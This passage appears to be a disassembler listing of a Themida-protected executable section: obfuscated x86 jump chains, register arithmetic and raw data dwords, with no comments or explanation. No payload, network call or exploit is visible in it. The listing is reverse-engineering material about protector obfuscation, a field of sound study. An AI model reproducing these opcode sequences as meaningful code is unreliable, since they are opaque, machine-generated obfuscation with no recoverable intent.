		dd 1014C04h, 0BF5758C3h, 2, 335FFB01h, 1C31241Ch, 241C3324h
		dd 6764E9h, 24B95100h, 936091Bh, 0F68159CEh, 11DF162Ah
		dd 58BCE9h, 0B5E95600h,	51000000h, 0FFE189E9h, 0D0F75FFFh
		dd 75B1E9h, 24348B00h, 0E904C483h, 8BDFh
dword_556664	dd 0E9028F64h, 0FFFFCEB3h, 0E545E951h ;	DATA XREF: Themida_:00553300o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556672:				; CODE XREF: Themida_:00555E23j
		add	dword ptr [esp+8], 418750Eh
		sub	[esp+8], ebx
		jmp	loc_55BD4C
; ---------------------------------------------------------------------------


loc_556683:				; CODE XREF: Themida_:00553AE0j
		pop	dword ptr [eax]
		pop	eax
		jmp	loc_559A39
; ---------------------------------------------------------------------------
		db 1
		dd 0C1C181D1h, 5A2CE81Fh, 8904EC83h, 0EBB241Ch,	814D2E4Dh
		dd 6F6553E3h, 81DBF734h, 61382DF3h, 0EB814318h,	0E3B082D2h
		dd 515BD901h, 42474FFh,	24048F59h, 77FAE9h, 4B800h, 44010000h
		dd 34FF0424h, 0B1E95824h, 56000024h, 87240C87h,	87D5F7E9h
		dd 240C87E9h, 0E92434FFh, 5C16h, 0E9243489h, 2EC6h
; ---------------------------------------------------------------------------


loc_5566F4:				; CODE XREF: Themida_:00553C9Fj
		pop	ebp
		pop	edx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_558FBC
; ---------------------------------------------------------------------------
		dd 4BEh, 0E9F72900h, 77A6h, 9CEEB81h, 148B0100h, 4C48324h
		dd 4EC81h, 14890000h, 55E28924h, 65A9E9h, 24048900h, 405E089h
		dd 0E9000000h, 4BB2h, 0F31F66BEh, 246C8104h, 47133004h
		dd 24740141h, 24448104h, 47133004h, 148B5E41h, 7C22E924h
		dd 2E680000h, 8900006Bh, 0B850243Ch, 0AE23318h,	0E2331CBFh
		dd 9CC7810Ah, 8138F85Ch, 3C5552EFh, 81C72935h, 3C5552C7h
		dd 9CB95135h, 0E938F85Ch, 0FFFFF807h
; ---------------------------------------------------------------------------


loc_55678C:				; CODE XREF: Themida_:00558EE6j
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4FA76B03h
		jmp	loc_554D96
; ---------------------------------------------------------------------------
		db 1, 0C2h, 81h
		dd 0A46439C2h, 0A368553Dh, 5D490F3Ah, 7D70E9h, 4D82800h
		dd 770DE9A6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5567BE:				; CODE XREF: Themida_:0055A9EBj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	1834h
		mov	[esp], edx
		mov	edx, 3F2A4AC7h
		xor	[esp+4], edx
		jmp	loc_5584D3
; ---------------------------------------------------------------------------


loc_5567DD:				; CODE XREF: Themida_:0055707Ej
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_558EE5
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0E9D6F705h, 2014h
; ---------------------------------------------------------------------------


loc_5567F8:				; CODE XREF: Themida_:00555AEFj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 2906A9EFh, 81D70119h, 2906A9C7h, 2434FF19h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_557D3B
; ---------------------------------------------------------------------------
		db 0BDh, 20h, 14h
		dd 6C0100FAh, 515D0824h, 0FFEEACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556839:				; CODE XREF: Themida_:005552F0j
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ch, 3Fh
		mov	dh, 0B7h
		xor	dh, ch
		pop	ecx
		mov	bl, dh
		jmp	loc_5574D3
; ---------------------------------------------------------------------------
		dd 58C13158h, 4EC81h, 4890000h,	28C9B824h, 0D0F756C5h
		dd 503E0C1h, 0D5402818h, 0E958C129h, 0FFFFFCFAh, 83243C89h
		dd 248904ECh, 24048124h, 4, 8A68E9h, 243C8700h,	3E6C15Ch
		dd 0E109BD55h, 0EE019220h, 5EF0015Dh, 16E468h, 242C8900h
		dd 6CCDE956h, 0ED810000h, 1B0B7C75h, 3FAFC581h,	0FD01182Ch
		dd 3FAFED81h, 5253182Ch, 0E93DE5BAh, 5AD38978h,	1ED7E9h
		dd 18BA5200h, 4266935Dh, 0C105E2C1h, 0F28108EAh, 627A32E3h
		dd 4EC81h, 4890000h, 7FC2B824h,	0BAE96488h, 89000058h
		dd 38E9241Ch, 5BFFFFF8h, 228E9h, 0D0DEF600h, 9CE680EEh
		dd 0F6C3E680h, 83F680D6h, 0E95AF000h, 7AECh
; ---------------------------------------------------------------------------


loc_556914:				; CODE XREF: Themida_:00559A7Aj
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_55A0C6
; ---------------------------------------------------------------------------
word_556922	dw 8F66h		; DATA XREF: Themida_:00553334o
		dd 0E0DEE902h, 5F54FFFFh, 2115E9h, 66D00000h, 148B665Ah
		dd 2C48324h, 4BD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556941:				; CODE XREF: Themida_:0055C45Cj
		neg	ebp
		sub	ebp, 1D1121BEh
		jmp	loc_559857
; ---------------------------------------------------------------------------
		dw 805Ch
		dd 0C38019C3h, 5066525Fh, 3E73E9h
		db 0
; ---------------------------------------------------------------------------


loc_55695D:				; CODE XREF: Themida_:00553F07j
		add	edx, 4
		jmp	loc_55C398
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 24048700h, 2EC815Ch, 66000000h, 53241489h
		dd 88FBB551h, 0E164E9EFh, 0BD55FFFFh, 274800B2h, 3D8CF581h
		dd 0CD810C39h, 0AF48EAh, 2652E9h, 55C80100h, 7C38E9h
		db 0
aUspQiIYs	db 'USP[Q‰Ù‰ÍYé`',1Bh,0 ; DATA XREF: Themida_:005534D0o
		align 4


loc_5569BC:				; CODE XREF: Themida_:0055871Cj
		xor	edx, [esp]


loc_5569BF:				; DATA XREF: Themida_:0054C6ECo
		jmp	loc_55969F
; ---------------------------------------------------------------------------
dword_5569C4	dd 240C8B66h, 57E28952h, 434CBBFh, 0F7DFF777h, 52D787DFh
					; DATA XREF: Themida_:005533A0o
		dd 0FFDD46E9h, 0E9DE29FFh, 4350h, 233FBE56h, 0EE815853h
		dd 0ED59F7AAh, 4E7DE9h,	5CAC2D00h, 0BA5269C8h, 0BE5976h
		dd 0EAC1E2D1h, 0E19CE902h, 4DB1FFFFh, 0B0505250h, 5869E914h
		dd 1B680000h, 5A022C3Dh, 4245431h, 0DB0BE95Ah, 0E949FFFFh
		dd 8ADFh, 0FFCAEEE9h, 241C8BFFh, 4C481h, 0CB010000h, 83240C8Bh
		dd 0C38304C4h, 241C8702h, 6624248Bh, 2404BB0Fh,	0CAC9E99Ch
		dd 2CD2FFFFh, 0B4E99C24h, 81000012h, 4C4h, 0F4D8E900h
		dd 0F829FFFFh, 240C8B5Fh, 0E9E68956h, 12A0h, 241C875Ah
		dd 0E924248Bh, 2368h, 4B951h, 0CA010000h, 5407E9h, 243C8900h
		dd 2BFh, 26C18100h, 0E910B763h,	77E3h, 90E9E589h, 52000003h
		dd 0DEF6E0B6h, 0C4F680h, 37DBE9F3h, 2C8B0000h, 33E95124h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556AC3:				; CODE XREF: Themida_:005592E9j
		push	edx
		mov	edx, 4
		jmp	loc_55B6DC
; ---------------------------------------------------------------------------


loc_556ACE:				; CODE XREF: Themida_:0055BBF0j
		sub	edi, 2362310Ch
		xor	edi, 0DC48CE70h
		add	ecx, 3A6060CAh
		add	ecx, edi
		jmp	loc_55EF32
; ---------------------------------------------------------------------------
aNh7		db '­h/7',0             ; DATA XREF: Themida_:00553380o
		dd 243C8900h, 89D9E9h, 5EF13100h, 0C8BCA01h, 4C48324h
		dd 0FFCA1AE9h, 4C681FFh, 0E9000000h, 46F9h
; ---------------------------------------------------------------------------


loc_556B10:				; CODE XREF: Themida_:0055ABF3j
		sub	edx, 6C32A6Fh
		add	edx, 0D6352D4Ah
		mov	ebp, edx
		pop	edx
		inc	ebp
		jmp	loc_5558B3
; ---------------------------------------------------------------------------
aSux		db '(ÊéuX',0
		align 4
aZS5p		db 'Z^é5P',0
		dw 8100h
		dd 4C6h, 4EC8100h, 89000000h, 0B7BD242Ch, 0E97D085Eh, 2DEBh
		dd 4FAFF581h, 0EC830BD1h, 24048904h, 9E516268h,	0A82D580Dh
		dd 0E9044D09h, 3D9h
; ---------------------------------------------------------------------------


loc_556B68:				; CODE XREF: Themida_:00559EF3j
		mov	[esp], edi
		jmp	loc_55BD23
; ---------------------------------------------------------------------------
		dd 0E95EF189h, 0FFFFF610h
dword_556B78	dd 3EBE56ADh, 29737519h, 24348BF0h, 565A5452h, 6185E9h
					; DATA XREF: Themida_:00553460o
		db 0
; ---------------------------------------------------------------------------


loc_556B8D:				; CODE XREF: Themida_:00554F5Ej
		pop	edx
		jmp	loc_55992F
; ---------------------------------------------------------------------------


loc_556B93:				; CODE XREF: Themida_:0055D5DDj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_557B0C
; ---------------------------------------------------------------------------
byte_556BA9	db 0ADh, 5, 13h		; DATA XREF: Themida_:0055332Co
aIecsh		db 'iECéH',0Bh,0
		align 4
		dd 8B243C87h, 0B70F2424h, 27EF68C8h, 0F8E90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556BC7:				; CODE XREF: Themida_:00558F7Cj
		add	ebp, 0EFBFFBB8h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	772Ah
		jmp	loc_557588
; ---------------------------------------------------------------------------
		dd 0EC80D4F6h, 0E7EC8071h, 0E9D5E480h, 7177h
; ---------------------------------------------------------------------------


loc_556BF0:				; CODE XREF: Themida_:00557770j
		sub	ebp, 745301EEh
		pop	ecx
		jmp	loc_558FE0
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4810000h, 4, 0F6A8B151h, 6DDAE9D1h, 0F6810000h
		dd 48B023E1h, 0D7E68146h, 81046C64h, 0A91CEEF6h, 24BAE915h
		dd 0F0010000h, 64D1E9h,	0C8ED8100h, 8158AD3Ch, 0AF1830CDh
		dd 5BC58134h, 31915C07h, 0FF665DE8h, 0C8D1E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C4E:				; CODE XREF: Themida_:005551FCj
		xor	esi, eax
		mov	eax, [esp]
		jmp	loc_55C7F5
; ---------------------------------------------------------------------------


loc_556C58:				; CODE XREF: Themida_:0055F070j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55A799
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 2
		dd 0F7914191h, 380368D8h, 1C890000h, 39BF5724h,	0BB1FE93Dh
		dd 9A13FB89h, 3989E9h, 4BC38000h, 0EB80F328h, 0B0045A4Bh
		dd 10E9D800h, 51FFFFCBh, 1E477168h, 240C8B1Bh, 5304C483h
		dd 53D6852h, 815A71CAh,	0D81A3BE2h, 4E2C128h, 4280E9h
		dd 4BBCBF00h, 0EF813838h, 67394B96h, 85BE564Fh,	815F076Eh
		dd 0F730C3C6h, 81DEF705h, 0AE278ECEh, 0BDC6815Fh, 813A1734h
		dd 839E71C6h, 5EF70110h, 7A87F781h, 0EF8136AFh,	57E809A7h
		dd 37EBF781h, 0A3E975FEh, 53FFFFFBh, 2BBh, 0C6EF8100h
		dd 10BBE1Ah, 0C6C781DFh, 8B0BBE1Ah, 0C481241Ch,	4, 5F0BE9h
		dd 81CE0100h, 2A6DE8EEh, 0C6835927h, 24348702h,	0FFF2A2E9h
		dd 2E0C1FFh, 0A3572D48h, 0E95646CEh, 409Bh
; ---------------------------------------------------------------------------


loc_556D48:				; CODE XREF: Themida_:0055A42Cj
		not	ecx
		jmp	loc_55BD40
; ---------------------------------------------------------------------------


loc_556D4F:				; CODE XREF: Themida_:0055C1E2j
		sub	al, bh
		pop	bx
		jmp	loc_5585EE
; ---------------------------------------------------------------------------
		dd 0FF3DE953h, 0C89FFFFh, 38BDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D66:				; CODE XREF: Themida_:0055529Cj
		mov	edx, 1FDAFD58h
		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_55C0FC
; ---------------------------------------------------------------------------
		dd 2852C380h, 52EB80C3h, 8041C380h, 0EB8074EBh,	19EB805Fh
		dd 0FFC0B60Fh, 8CE98734h, 50FFFFC7h, 42474FFh, 8324048Bh
		dd 48F04C4h, 0AAE95C24h, 6800006Ch, 732B2E36h, 2AECE95Bh
		dd 0EB800000h, 0AAC3802Ch, 55240C8Bh, 242C8B54h, 4C481h
		dd 0C5810000h, 4, 4C581h, 2C870000h, 89535C24h,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 723CE9h
		db 0
; ---------------------------------------------------------------------------


loc_556DF1:				; CODE XREF: Themida_:0055C726j
		mov	[esp], ecx
		mov	ecx, 1Ch
		jmp	loc_55D33C
; ---------------------------------------------------------------------------
		dw 0E380h
		dd 80CBFEF1h, 89E921C3h, 8BFFFFD1h, 2DE92424h, 6600003Ah
		dd 0F1B15158h, 3022F180h, 0EA8059CAh, 0D78853FFh, 6060E9h
		dd 1EE8100h, 0E97C4717h, 66Fh, 2DE991B5h, 81000003h, 4C5h
		dd 0F40EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E46:				; CODE XREF: Themida_:00557B47j
		add	esp, 4
		or	eax, eax
		jz	loc_5559D1
		push	dword ptr [edi+1Ch]
		jmp	loc_55C20B
; ---------------------------------------------------------------------------
		align 2
		dw 0E9CBh
		dd 1AF8h, 0FF241489h, 8B042474h, 0C4812414h, 4,	8B24048Fh
		dd 34FF2424h, 24048B24h, 6804C483h, 0CC3h, 68243C89h, 1446h
		dd 24048F54h, 0FFDAECE9h, 5AD388FFh, 7EA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556E9D:				; CODE XREF: Themida_:00553BCEj
		mov	[esp], ecx
		mov	ecx, 642240D2h
		jmp	loc_55F784
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 58621B50h
		add	ebx, 416724FBh
		dec	ebx
		xor	ebx, 99C9404Eh
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_55D5D1
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 1C8704EBh, 0C895C24h, 4EC8324h, 83242489h, 59042404h
		dd 6136E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556EF6:				; CODE XREF: Themida_:0055D413j
		xor	ebp, 0CC4CEB6Fh
		add	ebx, ebp
		pop	ebp
		sub	ebx, 2
		jmp	loc_55F9FD
; ---------------------------------------------------------------------------
aXwsxp		db 'XWéXp',0
		align 2
word_556F0E	dw 8B66h		; DATA XREF: Themida_:005533C0o
		dd 0E768240Ch, 89000016h, 4E9241Ch, 8000003Ah, 0F0286FC6h
		dd 8D3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556F29:				; CODE XREF: Themida_:0055EC61j
		push	ebp
		jmp	loc_557050
; ---------------------------------------------------------------------------
byte_556F2F	db 8Fh			; DATA XREF: Themida_:0055345Co
		dd 0C5E9E902h, 0EF80FFFFh, 2434FF2Ch, 0FFFFC6E9h, 58C509FFh
		dd 8108EDC1h, 79DD7FF5h, 1C6F0900h, 0E9242C8Bh,	18CEh
; ---------------------------------------------------------------------------


loc_556F58:				; CODE XREF: Themida_:00553EAEj
		add	ebp, eax
		pop	eax
		jmp	loc_5577D4
; ---------------------------------------------------------------------------
		dd 4C181h, 0BA520000h, 4, 335AD101h, 0C31240Ch,	240C3324h
		dd 110E685Ch, 4890000h,	6614E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F86:				; CODE XREF: Themida_:0055C5BFj
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5594F9
; ---------------------------------------------------------------------------
		db 66h
		dd 664CB2B9h, 0A0E9CF01h, 21000014h, 0ED8158C5h, 418D3394h
		dd 0DD0AED81h, 0EE292372h, 2434335Dh, 33243431h, 248B2434h
		dd 0C896624h, 0DCE0E924h, 0EC83FFFFh, 24348904h, 0F07488BEh
		dd 81D6F762h, 0DF590FCEh, 5EEC16Fh, 3EDE681h, 0C6812751h
		dd 1FC604ACh, 0FFFB0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556FE9:				; CODE XREF: Themida_:00557087j
		pop	edx
		or	ch, 28h
		xor	ch, 91h
		neg	ch
		sub	ch, 0ABh
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	al, dh
		mov	dx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h
byte_557013	db 64h			; DATA XREF: Themida_:0055323Co
		dd 0E9028B66h, 0FFFFEC27h, 835DEB01h, 1C8704EBh, 1C895C24h
		dd 11E95524h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55702F:				; CODE XREF: Themida_:005548E6j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_553E5B
; ---------------------------------------------------------------------------


loc_557043:				; CODE XREF: Themida_:00555BB5j
		mov	[esp], edi
		mov	edi, 4E1D61FBh
		jmp	loc_553CC6
; ---------------------------------------------------------------------------


loc_557050:				; CODE XREF: Themida_:00556F2Aj
		push	edi
		mov	edi, 70CB0F3Fh
		xor	edi, 14995F43h
		push	ebx
		jmp	loc_55F365
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 502056CDh, 0E95BDA89h, 11ADh
dword_557070	dd 0E92434FFh, 0FFFFE6B0h ; DATA XREF: Themida_:00553354o
; ---------------------------------------------------------------------------


loc_557078:				; CODE XREF: Themida_:0055AA1Dj
		add	ebp, 4
		jmp	loc_5567DD
; ---------------------------------------------------------------------------


loc_557083:				; CODE XREF: Themida_:0055CF37j
		mov	dl, 6Ch
		mov	ch, dl
		jmp	loc_556FE9
; ---------------------------------------------------------------------------
		dd 9EE953B2h, 5CFFFFF8h, 24048B66h, 165E6857h, 24890000h
		dd 24048124h, 4, 5F2434FFh, 4C481h, 0BB530000h,	4, 173FE9h
		dd 0F4ED8100h, 814E3477h, 425842EDh, 0E9E901C6h, 5A6Bh
		dd 0EF81C731h, 7B144519h, 6630C781h, 0C381D38Eh, 2133144Fh
		dd 0B951FB01h, 2133144Fh, 8B59CB29h, 0C483243Ch, 5321E904h
		dd 1C890000h, 2BB24h, 0EE810000h, 22E361EFh, 31E9DE01h
		dd 400008Bh, 0C07024E7h, 0C0FE03E0h, 0C6280C04h, 0E9F52C58h
		dd 0FFFFD84Bh
dword_557124	dd 24048B66h, 2C51E9h	; DATA XREF: Themida_:00553314o
		db 0
; ---------------------------------------------------------------------------


loc_55712D:				; CODE XREF: Themida_:0055C36Cj
		shl	eax, cl
		jmp	loc_5572FA
; ---------------------------------------------------------------------------
		dd 2107E868h, 2434FF5Ah, 4C4815Ah, 52000000h, 5A2414F7h
		dd 7FE7E9h, 8BD82800h, 0C481241Ch, 4, 0E800B72Ch, 7B5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_557161:				; CODE XREF: Themida_:00554B20j
		mov	edx, esp
		jmp	loc_553F01
; ---------------------------------------------------------------------------
		dd 0F659E820h, 0FEBA2CD0h, 3619E9C8h, 44810000h, 7D970424h
		dd 0F9E919DFh, 1000023h, 3C335EF7h, 243C3124h, 8B243C33h
		dd 0D2E92424h, 89FFFFD8h, 4BE2434h, 0E9000000h,	3370h
		dd 246C015Ch, 7AE95504h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571AF:				; CODE XREF: Themida_:0055AC96j
		sub	esi, 0A8546286h
		jmp	loc_55A7EE
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 0D6E9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571C2:				; CODE XREF: Themida_:0055CB1Dj
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_55C714
; ---------------------------------------------------------------------------
		db 81h
		dd 7C0436C3h, 0E9EB2912h, 6657h, 8904EC83h, 0BE662434h
		dd 0C1663681h, 0F76603EEh, 0F68166D6h, 8966E44Fh, 24348BF7h
		dd 4C481h, 66550000h, 667136BDh, 0D5C5C581h, 5DEF2166h
		dd 0E9EFD166h, 17FBh
; ---------------------------------------------------------------------------


loc_55721C:				; CODE XREF: Themida_:00555D86j
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		or	ecx, 4E6F7449h
		jmp	loc_555B06
; ---------------------------------------------------------------------------


loc_55722C:				; CODE XREF: Themida_:005596BAj
		dec	ecx
		or	ecx, 23435F0h
		jmp	loc_55973E
; ---------------------------------------------------------------------------
		dd 0B908C281h, 0D6019CF4h, 401E95Ah, 0D7F60000h, 58DEE9h
		dd 4C48300h, 0E0BE5650h, 813D8B7Dh, 8B7DE2F6h, 5EF0893Dh
		dd 48BC201h, 4C48324h, 87EDE9h,	893BE00h, 6C814C95h, 639E0424h
		dd 74293BE3h, 8FE90424h, 5100006Bh, 8E6D0F68h, 240C8B4Ah
		dd 0E904C483h, 148Dh, 622BBE56h, 0F7467D5Ah, 2EC681DEh
		dd 0E97D5A62h, 75F6h, 0BA241489h, 8A4F15h, 3428EE81h, 0D629593Dh
		dd 3428C681h, 148B593Dh, 0DD92E924h, 5066FFFFh,	0EC8318B0h
		dd 24148904h, 5A72E9h, 0F7D5F700h, 7E87E9DDh, 3C890000h
		dd 0E4FEE924h, 835EFFFFh, 47E904C2h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5572EF:				; CODE XREF: Themida_:0055D434j
		or	ecx, 31787712h
		jmp	loc_55E826
; ---------------------------------------------------------------------------


loc_5572FA:				; CODE XREF: Themida_:0055712Fj
		push	edx
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55BD96
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 97AE9h, 81DDF700h, 8C3E07CDh, 0BF574D71h, 0AFC4D11Ch
		dd 69E9FD29h, 66000046h, 8166C329h, 6664E5EBh, 62B86650h
		dd 0BF66573Ah, 47661872h, 8DCF8166h, 0D859E95Eh, 2C5AFFFFh
		dd 52D800BEh, 0FFEF79E9h, 0E9C331FFh, 0FFFFDEA9h, 0C380C328h
		dd 28EB8019h, 527EC380h, 7924A768h, 0DBF5E978h,	70BFFFFFh
		dd 2970B942h, 243C8BFDh, 0E904C483h, 577Ch
; ---------------------------------------------------------------------------


loc_557380:				; CODE XREF: Themida_:00557E08j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		xor	dword ptr [esp], 4AA96FB4h
		jmp	loc_55B0DE
; ---------------------------------------------------------------------------
aZs		db 'Zéµ ',0
		dd 29685200h, 0E9679441h, 0FFFFC379h
; ---------------------------------------------------------------------------


loc_5573A4:				; CODE XREF: Themida_:00557686j
		push	edx
		mov	dh, 0A8h
		shr	dh, 8
		shr	dh, 5
		push	eax
		mov	al, 6
		inc	al
		neg	al
		not	al
		neg	al
		xor	al, 36h
		and	dh, al
		pop	eax
		sub	dh, 0D3h
		jmp	loc_55E96C
; ---------------------------------------------------------------------------
aVichs		db 'V‰æhè',7,0
		dd 242C8900h, 0B94274BDh, 93E95770h, 0FFFFFFh, 0C790E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573E2:				; CODE XREF: Themida_:0055C49Aj
		pop	ecx
		add	ebx, 429A5D6Dh
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559565
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 0FFFFC911h, 68E68956h, 6263h, 56242C89h
		dd 78106853h, 815B4DE2h, 0E2780CEBh, 8BDE894Dh,	0C5E9241Ch
		dd 88000006h, 0A0E95BDDh, 81000052h, 4C3h, 68565100h, 59484D84h
		dd 0FFC10AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557445:				; CODE XREF: Themida_:00559663j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55D1AD
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_559573
; ---------------------------------------------------------------------------


loc_557465:				; CODE XREF: Themida_:0055749Ej
		pop	esp
		mov	[esp], edx
		jmp	loc_55BE42
; ---------------------------------------------------------------------------


loc_55746E:				; CODE XREF: Themida_:0055ABFCj
		not	al
		inc	al
		dec	al
		jmp	loc_55C1DE
; ---------------------------------------------------------------------------


loc_557479:				; CODE XREF: Themida_:0055E193j
		mov	esi, esp
		push	edx
		mov	edx, 783253DAh
		sub	edx, 4C266267h
		and	edx, 42903DBAh
		not	edx
		sub	edx, 0FFFFCEC9h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_557465
; ---------------------------------------------------------------------------
		db 29h
		dd 1C681FEh, 5F7C4717h,	5C243487h, 89240489h, 405E0h, 0C0830000h
		dd 24043302h, 33240431h, 248B2404h, 24D36624h, 4CE99C24h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574D3:				; CODE XREF: Themida_:00556847j
		pop	edx
		mov	dl, 0E9h
		jmp	loc_55CD2F
; ---------------------------------------------------------------------------
		db 1
		dd 0C1835EF1h, 240C3302h, 33240C31h, 248B240Ch,	2CD36624h
		dd 28E99C24h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574F7:				; CODE XREF: Themida_:0055D69Fj
		push	dword ptr [esp]
		jmp	loc_557ECA
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0EAB7B8Bh, 8959CE31h, 24348BF7h, 0AE6E9h, 4C48100h
		dd 56000000h, 4BEh, 5EF70100h, 8704C783h, 515C243Ch, 479BE9h
		dd 24048100h, 4, 4C7815Fh, 68000000h, 466Ah, 53240489h
		dd 0BE15D2BBh, 2E3C17Dh, 0CD0F381h, 0EBC17B54h,	6CEB8106h
		dd 890236B1h, 0C7015BD8h, 0CEDE958h, 0EB680000h, 8900005Eh
		dd 0E9532404h, 28CFh, 8924248Bh, 0EC81241Ch, 4,	0E9242489h
		dd 1FFDh
; ---------------------------------------------------------------------------


loc_557588:				; CODE XREF: Themida_:00556BDBj
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A9E5
; ---------------------------------------------------------------------------


loc_55759B:				; CODE XREF: Themida_:0055BE6Ej
		mov	edi, ecx
		pop	ecx
		shl	edi, 8
		and	edi, 3C120C49h
		jmp	loc_558E87
; ---------------------------------------------------------------------------


loc_5575AC:				; CODE XREF: Themida_:0055CE64j
		mov	eax, 731C2BA6h
		add	eax, 0B9FBDF57h
		and	ebx, eax
		pop	eax
		add	ebx, 0D2F7F5F3h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_55BAC5
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_5564F1
; ---------------------------------------------------------------------------


loc_5575E6:				; CODE XREF: Themida_:0055CE50j
		mov	edi, 7159534Eh
		jmp	loc_55D89B
; ---------------------------------------------------------------------------


loc_5575F0:				; CODE XREF: Themida_:00554A9Bj
		sub	[esp+4], edx
		jmp	loc_557FED
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9242C87h, 0FFFFD32Eh
dword_557604	dd 24048B66h, 81595451h, 4C1h, 6F81E900h, 0EF280000h, 57240C8Bh
					; DATA XREF: Themida_:00553248o
		dd 0C7815F54h, 4, 0FFE2CFE9h, 243C89FFh, 6B27E952h, 0F8010000h
		dd 473DE9h, 4C48100h, 33000000h, 0DEE92414h, 56FFFFD4h
		dd 42474FFh, 24048F5Eh,	7F13E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557656:				; CODE XREF: Themida_:0055569Dj
		add	bl, al
		sub	bl, 0DCh
		push	dx
		jmp	loc_555349
; ---------------------------------------------------------------------------
		dw 0D300h
		dd 0FFE2F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557669:				; CODE XREF: Themida_:0055B63Dj
		pop	eax
		add	dl, 0A5h
		neg	dl
		add	dl, 0ABh
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	ah, 22h
		jmp	loc_5573A4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 24048F04h, 6624248Bh, 0E9240489h, 0FFFFBE7Fh
; ---------------------------------------------------------------------------


loc_5576A0:				; CODE XREF: Themida_:0055F74Dj
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 95C63EEh
		sub	ebp, 1
		push	edx
		mov	edx, 714F15D3h
		and	edx, 1E25C7Bh
		or	edx, 6EEB746Bh
		push	edi
		mov	edi, 52052E35h
